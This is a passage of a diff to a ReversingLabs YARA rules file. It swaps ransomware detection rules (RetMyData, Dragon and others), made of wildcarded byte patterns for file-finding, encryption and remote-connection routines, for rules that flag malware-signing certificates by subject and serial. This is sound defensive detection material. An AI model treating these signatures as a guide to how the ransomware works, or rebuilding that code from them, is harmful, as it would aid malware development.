4F ?? 8D 4D ?? 89 37 89 47 ?? C7 45 ?? ?? ?? ?? ?? C7 45 - ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8B C7 8B 4D ?? 64 89 0D ?? ?? - ?? ?? 59 5F 5E 5B 8B E5 5D C2 - } - $remote_connection_p1 = { - 55 8B EC 83 EC ?? 56 57 6A ?? 8B F2 8B F9 FF 15 ?? ?? ?? ?? 6A ?? 6A ?? 8D 45 ?? C7 - 45 ?? ?? ?? ?? ?? 50 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 50 6A ?? 56 57 FF 15 ?? ?? ?? ?? - 8B 75 ?? 8B C8 8B D6 E8 ?? ?? ?? ?? 8B 0E 8B F8 83 F9 ?? 75 ?? 68 ?? ?? ?? ?? 8B CE - E8 ?? ?? ?? ?? EB ?? 81 F9 ?? ?? ?? ?? 75 ?? 68 ?? ?? ?? ?? 8B CE E8 ?? ?? ?? ?? EB - ?? 81 F9 ?? ?? ?? ?? 74 ?? 81 F9 ?? ?? ?? ?? 74 ?? 85 FF 74 ?? 5F 83 C8 ?? 5E 8B E5 - 5D C3 - } - $remote_connection_p2 = { - 55 8B EC 51 53 56 8B F1 57 8B 46 ?? 83 C0 ?? 50 FF 15 ?? ?? ?? ?? 80 7D ?? ?? 6A ?? - 74 ?? 8B 4E ?? 6A ?? FF 75 ?? E8 ?? ?? ?? ?? 5F 5E 5B 59 5D C2 ?? ?? 8B 45 ?? 8B 08 - 83 F9 ?? 75 ?? 8B 4E ?? 68 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 5F 5E 5B 59 5D C2 ?? - ?? 8B 45 ?? 8B 7D ?? 57 89 45 ?? 8D 45 ?? 50 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 50 FF 75 - ?? FF 75 ?? 51 FF 15 ?? ?? ?? ?? 8B D8 FF 15 ?? ?? ?? ?? 83 F8 ?? 75 ?? B8 ?? ?? ?? - ?? EB ?? 3D ?? ?? ?? ?? B9 ?? ?? ?? ?? 0F 44 C1 85 DB 74 ?? 3D ?? ?? ?? ?? 74 ?? FF - 75 ?? 8B 4E ?? 50 57 E8 ?? ?? ?? ?? 5F 5E 5B 59 5D C2 ?? ?? 8B 4E ?? 57 E8 ?? ?? ?? - ?? 5F 5E 5B 59 5D C2 - } - $remote_connection_p3 = { - 55 8B EC 83 EC ?? 56 57 6A ?? 8B F2 8B F9 FF 15 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 8D 45 - ?? C7 45 ?? ?? ?? ?? ?? 50 FF 75 ?? 56 57 FF 15 ?? ?? ?? ?? 8B 75 ?? 8B C8 8B D6 E8 - ?? ?? ?? ?? 8B 0E 8B F8 83 F9 ?? 75 ?? 68 ?? ?? ?? ?? EB ?? 81 F9 ?? ?? ?? ?? 75 ?? - 68 ?? ?? ?? ?? 8B CE E8 ?? ?? ?? ?? 85 FF 74 ?? 5F 83 C8 ?? 5E 8B E5 5D C3 - } + condition: + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Yu Bao" and pe.signatures [ i ] . serial == "33:b2:41:70:69:4c:a0:cf:4d:2b:df:4a:ad:f4:75:a3" and 1474934400 <= pe.signatures [ i ] . not_after ) +} + +rule REVERSINGLABS_Cert_Blocklist_3A9Bdec10E00E780316Baaebfe7A772C : INFO FILE +{ + meta: + description = "Certificate used for digitally signing malware." + author = "ReversingLabs" + id = "56f62454-84a1-5843-b2f4-fa84b37040f3" + date = "2020-08-05" + modified = "2023-11-08" + reference = "ReversingLabs" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L14076-L14092" + license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" + logic_hash = "ea9bc11efd2969f6b7112338f2b084ea3551e072e46b1162bd47b08be549cdd4" + score = 75 + quality = 90 + tags = "INFO, FILE" + status = "RELEASED" + sharing = "TLP:WHITE" + category = "INFO" + importance = 25 condition: - uint16( 0 ) == 0x5A4D and ( $find_files ) and ( $encrypt_files ) and ( all of ( $remote_connection_p* ) ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "PLAN ALPHA LIMITED" and pe.signatures [ i ] . serial == "3a:9b:de:c1:0e:00:e7:80:31:6b:aa:eb:fe:7a:77:2c" and 1556582400 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Retmydata : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_7Cad9C37F7Affa8F4D8229F97607E265 : INFO FILE { meta: - description = "Yara rule that detects RetMyData ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "f7a091d9-7ace-5aad-95b4-d5101fa7fdea" - date = "2020-06-26" - modified = "2020-07-15" + id = "dae6b474-e4f0-5c73-b32e-d2680f508799" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.RetMyData.yara#L1-L79" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L14094-L14110" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "54ce38d75e9ab82a77b9c338f75e180e19ac745f149289c7478a4aa3b44d70fd" + logic_hash = "0f88989c64bece23e7eccf8022e038fdd9c360766de71268cf71616f74adc56c" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "RetMyData" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $find_files = { - 55 89 E5 57 56 53 50 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 29 C4 8D 9D ?? ?? ?? ?? 8B 04 04 - C7 44 24 ?? ?? ?? ?? ?? 89 1C 24 89 44 24 ?? 89 C7 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? - 89 1C 24 89 44 24 ?? E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 40 51 51 0F 84 ?? ?? ?? ?? 8D - B5 ?? ?? ?? ?? 8D 9D ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 34 24 E8 ?? ?? ?? ?? 85 - C0 74 ?? C7 44 24 ?? ?? ?? ?? ?? 89 34 24 E8 ?? ?? ?? ?? 85 C0 74 ?? F6 85 ?? ?? ?? - ?? ?? 89 74 24 ?? 89 7C 24 ?? 74 ?? C7 44 24 ?? ?? ?? ?? ?? 89 1C 24 E8 ?? ?? ?? ?? - 89 D8 E8 ?? ?? ?? ?? EB ?? C7 44 24 ?? ?? ?? ?? ?? 89 1C 24 E8 ?? ?? ?? ?? BA ?? ?? - ?? ?? 89 D8 E8 ?? ?? ?? ?? 85 C0 75 ?? 89 D8 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 44 - 24 ?? 8B 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 85 C0 52 52 0F 85 ?? ?? ?? ?? 8B 85 - ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 50 8D 65 ?? 5B 5E 5F 5D C3 55 BA ?? ?? ?? ?? 89 - E5 53 51 89 C3 E8 ?? ?? ?? ?? 48 74 ?? 5A 89 D8 5B 5D E9 ?? ?? ?? ?? 58 5B 5D C3 - } - $enum_resources = { - 55 89 E5 57 56 53 50 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 29 C4 8D 95 ?? ?? ?? ?? C7 85 ?? - ?? ?? ?? ?? ?? ?? ?? 8B 04 04 C7 44 24 ?? ?? ?? ?? ?? 89 54 24 ?? C7 44 24 ?? ?? ?? - ?? ?? C7 04 24 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 89 44 24 ?? E8 ?? ?? ?? ?? - 83 EC ?? 85 C0 75 ?? 8D 85 ?? ?? ?? ?? 8D 9D ?? ?? ?? ?? 8D BD ?? ?? ?? ?? 31 F6 89 - 44 24 ?? 8D 85 ?? ?? ?? ?? 89 5C 24 ?? 89 44 24 ?? 8B 85 ?? ?? ?? ?? 89 04 24 E8 ?? - ?? ?? ?? 83 EC ?? 3B B5 ?? ?? ?? ?? 7D ?? 83 7B ?? ?? 75 ?? 8B 43 ?? C7 44 24 ?? ?? - ?? ?? ?? 89 3C 24 89 44 24 ?? E8 ?? ?? ?? ?? 89 F8 E8 ?? ?? ?? ?? 89 D8 46 83 C3 ?? - E8 ?? ?? ?? ?? EB ?? 8B 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 50 8D 65 ?? 5B 5E 5F - 5D C3 - } - $encrypt_files = { - 55 89 E5 57 56 53 89 C3 81 EC ?? ?? ?? ?? 83 3D ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? - ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 75 ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 - C0 89 C2 A3 ?? ?? ?? ?? 75 ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 31 - C0 89 D7 F3 AB 85 DB 75 ?? A1 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? - ?? ?? ?? ?? 8D BD ?? ?? ?? ?? 89 5C 24 ?? 8D 9D ?? ?? ?? ?? 8D B5 ?? ?? ?? ?? 89 3C - 24 E8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 7C 24 ?? C7 44 24 ?? ?? ?? ?? ?? 89 1C - 24 E8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 5C 24 ?? C7 44 24 ?? ?? ?? ?? ?? 89 34 - 24 E8 ?? ?? ?? ?? 89 74 24 ?? 89 3C 24 E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? C7 44 - 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? - ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 34 24 E8 ?? ?? ?? ?? 83 EC - ?? 83 F8 ?? 89 C3 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 75 ?? 89 7C 24 ?? 89 34 24 EB ?? 8D - BD ?? ?? ?? ?? A1 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 7C 24 ?? C7 44 24 ?? ?? ?? - ?? ?? 89 1C 24 89 44 24 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 EC ?? 85 C0 75 ?? 89 - 1C 24 E8 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 89 44 24 ?? 8D 85 ?? ?? ?? ?? 89 04 24 E8 - ?? ?? ?? ?? EB ?? F7 D8 C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 44 24 ?? - 89 1C 24 E8 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 83 EC ?? BA ?? ?? ?? ?? C7 04 24 ?? ?? ?? - ?? B8 ?? ?? ?? ?? 89 F1 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 - 74 24 ?? 89 1C 24 89 44 24 ?? 8B 85 ?? ?? ?? ?? 89 44 24 ?? E8 ?? ?? ?? ?? 83 EC ?? - FF 8D ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8D 65 ?? 5B 5E 5F 5D C3 - } + condition: + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Funbit" and pe.signatures [ i ] . serial == "7c:ad:9c:37:f7:af:fa:8f:4d:82:29:f9:76:07:e2:65" and 1122508800 <= pe.signatures [ i ] . not_after ) +} + +rule REVERSINGLABS_Cert_Blocklist_098A57 : INFO FILE +{ + meta: + description = "Certificate used for digitally signing malware." + author = "ReversingLabs" + id = "4604f1a6-2fdb-5917-943d-f0e2dbaaa29e" + date = "2020-08-05" + modified = "2023-11-08" + reference = "ReversingLabs" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L14112-L14128" + license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" + logic_hash = "5e203f87dd4608ba5d583e02ce86fbe230e45fff86a7a697766e149d0cf6f436" + score = 75 + quality = 90 + tags = "INFO, FILE" + status = "RELEASED" + sharing = "TLP:WHITE" + category = "INFO" + importance = 25 condition: - uint16( 0 ) == 0x5A4D and ( $enum_resources ) and ( $find_files ) and ( $encrypt_files ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "ELECTRONIC GROUP" and pe.signatures [ i ] . serial == "09:8a:57" and 1032855179 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Dragon : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_5389Cc6286Da3Bfa1Dc4Df498Bf68361 : INFO FILE { meta: - description = "Yara rule that detects Dragon ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "dbeab955-f1fe-57eb-a9a4-c8c885ab7fad" - date = "2020-10-30" - modified = "2020-10-30" + id = "973aaf33-25a2-5f40-a5a7-d9f77e3589b3" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Dragon.yara#L1-L149" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L14130-L14146" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "7298c5681deaf04abb6a656cefc09b5ee4096ff7a5028caab1d7b107e97be90a" + logic_hash = "d25d998c980f47f4da065155451503dcbc677ad041af85a6ed7060ecadec66b3" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Dragon" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $remote_connection_p1 = { - 55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? - 33 C5 89 45 ?? 56 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A - ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? - 85 C0 0F 85 ?? ?? ?? ?? 89 45 ?? C7 45 ?? ?? ?? ?? ?? 88 45 ?? 83 EC ?? 89 45 ?? 8B - CC 89 A5 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 EC ?? C6 45 ?? ?? 8B CC E8 ?? - ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 8B D0 C6 45 ?? ?? 8D 8D ?? ?? - ?? ?? E8 ?? ?? ?? ?? 8B F0 68 ?? ?? ?? ?? BA ?? ?? ?? ?? C6 45 ?? ?? 8D 8D ?? ?? ?? - ?? E8 ?? ?? ?? ?? 83 C4 ?? 56 8B D0 C6 45 ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 83 C4 ?? C6 - 45 ?? ?? 8B 95 ?? ?? ?? ?? 83 FA ?? 72 ?? 8B 8D ?? ?? ?? ?? 42 8B C1 81 FA ?? ?? ?? - ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? - ?? ?? 83 C4 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? - ?? ?? ?? ?? C6 45 ?? ?? 8B 95 ?? ?? ?? ?? 83 FA ?? 72 ?? 8B 8D ?? ?? ?? ?? 42 8B C1 - } - $remote_connection_p2 = { - 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? - 52 51 E8 ?? ?? ?? ?? 83 C4 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? - ?? ?? C6 85 ?? ?? ?? ?? ?? C6 45 ?? ?? 8B 95 ?? ?? ?? ?? 83 FA ?? 72 ?? 8B 8D ?? ?? - ?? ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F - 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 83 7D ?? ?? 8D 4D ?? 8D 55 ?? C7 85 ?? - ?? ?? ?? ?? ?? ?? ?? 0F 43 4D ?? 51 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? - ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 85 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 55 ?? 83 FA - ?? 72 ?? 8B 4D ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? - 83 F8 ?? 77 ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? - ?? ?? ?? ?? C6 45 ?? ?? 83 FA ?? 72 ?? 8B 4D ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B - 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 77 ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 4D ?? - 64 89 0D ?? ?? ?? ?? 59 5E 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 - } - $find_files_1 = { - 55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 53 56 57 83 EC ?? 89 8D ?? - ?? ?? ?? 8B D4 8D 71 ?? C7 42 ?? ?? ?? ?? ?? C7 42 ?? ?? ?? ?? ?? C6 02 ?? 8A 01 41 - 84 C0 75 ?? 2B CE 8B B5 ?? ?? ?? ?? 51 56 8B CA E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 8D - 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 8D 85 - ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B F8 83 FF ?? 0F 84 ?? ?? ?? ?? 8B 1D - } - $find_files_2 = { - 8A 10 3A 11 75 ?? 84 D2 74 ?? 8A 50 ?? 3A 51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 84 D2 75 ?? - 33 C0 EB ?? 1B C0 83 C8 ?? 85 C0 0F 84 ?? ?? ?? ?? B8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? - 8A 11 3A 10 75 ?? 84 D2 74 ?? 8A 51 ?? 3A 50 ?? 75 ?? 83 C1 ?? 83 C0 ?? 84 D2 75 ?? - 33 C0 EB ?? 1B C0 83 C8 ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? - ?? 56 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 51 8B D4 8D 8D ?? ?? ?? ?? - 8D 71 ?? C7 42 ?? ?? ?? ?? ?? C7 42 ?? ?? ?? ?? ?? C6 02 ?? 8A 01 41 84 C0 75 ?? 2B - CE 8D 85 ?? ?? ?? ?? 51 50 8B CA E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 84 C0 74 ?? - 83 EC ?? 8B CC 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 - ?? F6 85 ?? ?? ?? ?? ?? 74 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 8D - 85 ?? ?? ?? ?? 50 57 FF D3 85 C0 0F 85 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? 8B 4D ?? 5F - 5E 33 CD 5B E8 ?? ?? ?? ?? 8B E5 5D C3 - } - $skip_hk_china_taiwan_p1 = { - 55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? - 33 C5 89 45 ?? 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? - 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 - C0 0F 85 ?? ?? ?? ?? 89 45 ?? C7 45 ?? ?? ?? ?? ?? 88 45 ?? 89 45 ?? 8D 4D ?? 6A ?? - 68 ?? ?? ?? ?? 89 45 ?? C7 45 ?? ?? ?? ?? ?? 88 45 ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D - 4D ?? 83 7D ?? ?? 8D 55 ?? 0F 43 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 85 ?? ?? - ?? ?? FF 15 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? - C7 45 ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 4D ?? 6A ?? - 68 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? - C6 45 ?? ?? 8D 4D ?? 6A ?? 68 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? - C6 45 ?? ?? E8 ?? ?? ?? ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 8D 4D ?? E8 ?? ?? ?? ?? 83 F8 - ?? 0F 85 ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 8D 4D ?? E8 ?? ?? ?? ?? 83 F8 ?? 0F 85 ?? ?? - ?? ?? 6A ?? 8D 45 ?? 50 8D 4D ?? E8 ?? ?? ?? ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? 8B 55 ?? - 83 FA ?? 72 ?? 8B 4D ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 - C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? 83 FA ?? 72 - ?? 8B 4D ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 - ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? 83 FA ?? 72 ?? 8B 8D ?? - ?? ?? ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 - } - $skip_hk_china_taiwan_p2 = { - 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? 83 FA ?? 72 ?? 8B 4D ?? 42 - 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? - ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? - ?? C6 45 ?? ?? 83 FA ?? 72 ?? 8B 4D ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 - C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? B0 ?? - 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 8B 55 ?? - 83 FA ?? 72 ?? 8B 4D ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 - C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? 83 FA ?? 72 - ?? 8B 4D ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 - ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? 83 FA ?? 72 ?? 8B 8D ?? - ?? ?? ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? - 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? 83 FA ?? 72 ?? 8B 4D ?? 42 - 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 77 ?? 52 51 - E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? - ?? 83 FA ?? 72 ?? 8B 4D ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 - 83 C0 ?? 83 F8 ?? 77 ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 32 C0 E9 ?? ?? ?? ?? 6A ?? E8 - ?? ?? ?? ?? E8 - } - $crypt_files = { - 8B FF 55 8B EC 83 EC ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 8B 4D ?? 8B 45 ?? 89 45 ?? 89 - 4D ?? 56 8B 75 ?? 85 C9 75 ?? 33 C0 E9 ?? ?? ?? ?? 85 C0 75 ?? E8 ?? ?? ?? ?? 83 20 - ?? E8 ?? ?? ?? ?? C7 00 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C8 ?? E9 ?? ?? ?? ?? 53 8B C6 - 8B D6 C1 FA ?? 83 E0 ?? 57 6B F8 ?? 89 55 ?? 8B 14 95 ?? ?? ?? ?? 89 7D ?? 8A 5C 3A - ?? 80 FB ?? 74 ?? 80 FB ?? 75 ?? 8B C1 F7 D0 A8 ?? 75 ?? E8 ?? ?? ?? ?? 83 20 ?? E8 - ?? ?? ?? ?? C7 00 ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? F6 44 3A ?? ?? 74 ?? 6A - ?? 6A ?? 6A ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 8D 7D ?? AB 56 AB AB E8 ?? ?? ?? ?? - 59 84 C0 74 ?? 84 DB 74 ?? FE CB 80 FB ?? 8B 5D ?? 0F 87 ?? ?? ?? ?? FF 75 ?? 8D 45 - ?? 53 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B F0 E9 ?? ?? ?? ?? FF 75 ?? 8B 5D ?? 8D 45 ?? 53 - 56 50 E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 8B 4D ?? 8B 55 ?? 8B 04 8D ?? ?? ?? ?? 80 7C 10 - ?? ?? 7D ?? 0F BE C3 8B 5D ?? 83 E8 ?? 74 ?? 83 E8 ?? 74 ?? 83 E8 ?? 75 ?? FF 75 ?? - 8D 45 ?? 53 56 50 E8 ?? ?? ?? ?? EB ?? FF 75 ?? 8D 45 ?? 53 56 50 E8 ?? ?? ?? ?? EB - ?? FF 75 ?? 8D 45 ?? 53 56 50 E8 ?? ?? ?? ?? EB ?? 8B 4C 10 ?? 8D 7D ?? 8B 5D ?? 33 - C0 AB 6A ?? AB AB 8D 45 ?? 50 FF 75 ?? 53 51 FF 15 ?? ?? ?? ?? 85 C0 75 ?? FF 15 ?? - ?? ?? ?? 89 45 ?? 8D 75 ?? 8D 7D ?? A5 A5 A5 8B 